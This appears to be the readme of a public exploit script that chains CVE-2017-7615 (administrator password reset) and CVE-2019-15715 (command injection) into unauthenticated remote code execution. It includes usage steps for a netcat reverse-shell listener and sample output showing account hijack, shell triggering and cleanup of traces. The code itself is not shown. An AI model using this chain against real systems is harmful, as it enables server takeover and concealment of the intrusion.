This exploit chains together two CVE's to achieve unauthenticated remote code execution.
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).

Usage:
Set netcat listener on port 4444
Send exploit with "python exploit.py"

Example output:

kali@kali:~/Desktop$ python exploit.py
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up
